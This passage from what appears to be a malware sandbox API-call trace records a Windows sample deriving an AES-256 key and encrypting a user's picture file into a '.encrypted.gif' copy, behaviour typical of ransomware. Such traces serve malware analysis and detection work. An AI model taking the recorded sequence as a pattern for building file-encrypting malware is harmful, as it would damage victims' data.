lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.421] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.421] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f419a0a0) returned 1 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.422] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.422] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.422] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.422] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.422] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.422] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.422] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.422] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.422] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.422] CryptCreateHash (in: hProv=0xe8f419a0a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.423] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.423] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b540, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.423] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.423] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.423] CryptDeriveKey (in: hProv=0xe8f419a0a0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.424] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.424] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0028.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.425] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\phqa.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.425] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.425] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.426] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq")) returned 0x10 [0028.426] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.encrypted.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\phqa.encrypted.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.428] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.428] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.429] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6ae0, lpOverlapped=0x0) returned 1 [0028.430] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.432] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.433] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.433] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.433] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.433] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.434] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.434] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.434] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.434] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.434] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.435] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.435] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ac0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ac0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.435] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.435] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.437] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.437] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16ae0, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16af0) returned 1 [0028.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.437] CharLowerBuffW (in: lpsz="byte[92913]", cchLength=0xb | out: lpsz="byte[92913]") returned 0xb [0028.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.439] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.439] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16ae0, dwBufLen=0x16af0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16af0) returned 1 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.439] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 